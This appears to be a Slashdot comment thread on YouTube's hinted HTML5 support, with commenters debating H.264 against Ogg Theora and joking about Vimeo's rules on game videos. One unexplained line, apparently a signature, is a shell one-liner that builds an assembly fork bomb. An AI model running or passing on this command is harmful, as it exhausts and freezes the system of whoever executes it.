YouTube Hints At Support For Free/Open Formats With HTML5
shadowmage13 writes "After the recent post about YouTube, so many votes were put in for HTML5 using Free and Open formats that Google has already cleared them all out (to make space for others) and issued an official response (requires Google login): 'We've heard a lot of feedback around supporting HTML5 and are working hard to meet your request, so stay tuned. We'll be following up when we have more information. We're answering this idea now because there are so many similar HTML5 ideas and we want to give other ideas a chance to be seen.' Now all the top ideas are concerning copyright and DMCA abuse."
Faster at all 3 if we use h264 because:
Hardware h264 encoders exist, and I bet google would use them – it would cut their power use massively
Hardware h264 decoders are common on just about all graphics cards
h264 can compress a video much more for a given quality than the current flash video they use
Not faster at all if we use ogg theora because:
Hardware Ogg encoders don't exist
Hardware Ogg decoders don't exist
Ogg barely uses less bandwidth than flash video for a given bandwidth
-- http://embedded-computing.com/fujitsu-full-h-264-codecs
That's half a Watt encoding HD, a general purpose CPU would be consuming tens, or even a hundred watts to do that.
What's a more polite way to say, "be more like Vimeo"?
Please be more like Vimeo
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
What's a more polite way to say, "be more like Vimeo"?
How about "I know a lot of people who, to put it mildly, aren't a fan of video games. Can you make subtle changes to your policy so that videos of video games end up all but banned?"
Background: Vimeo bans use of its service for commercial purposes; this rules out any video uploaded by the video game's publisher. Vimeo also rejects videos uploaded by anyone other than the author; this rules out videos of game play uploaded by anyone other than the video game's publisher because they're "derivative works".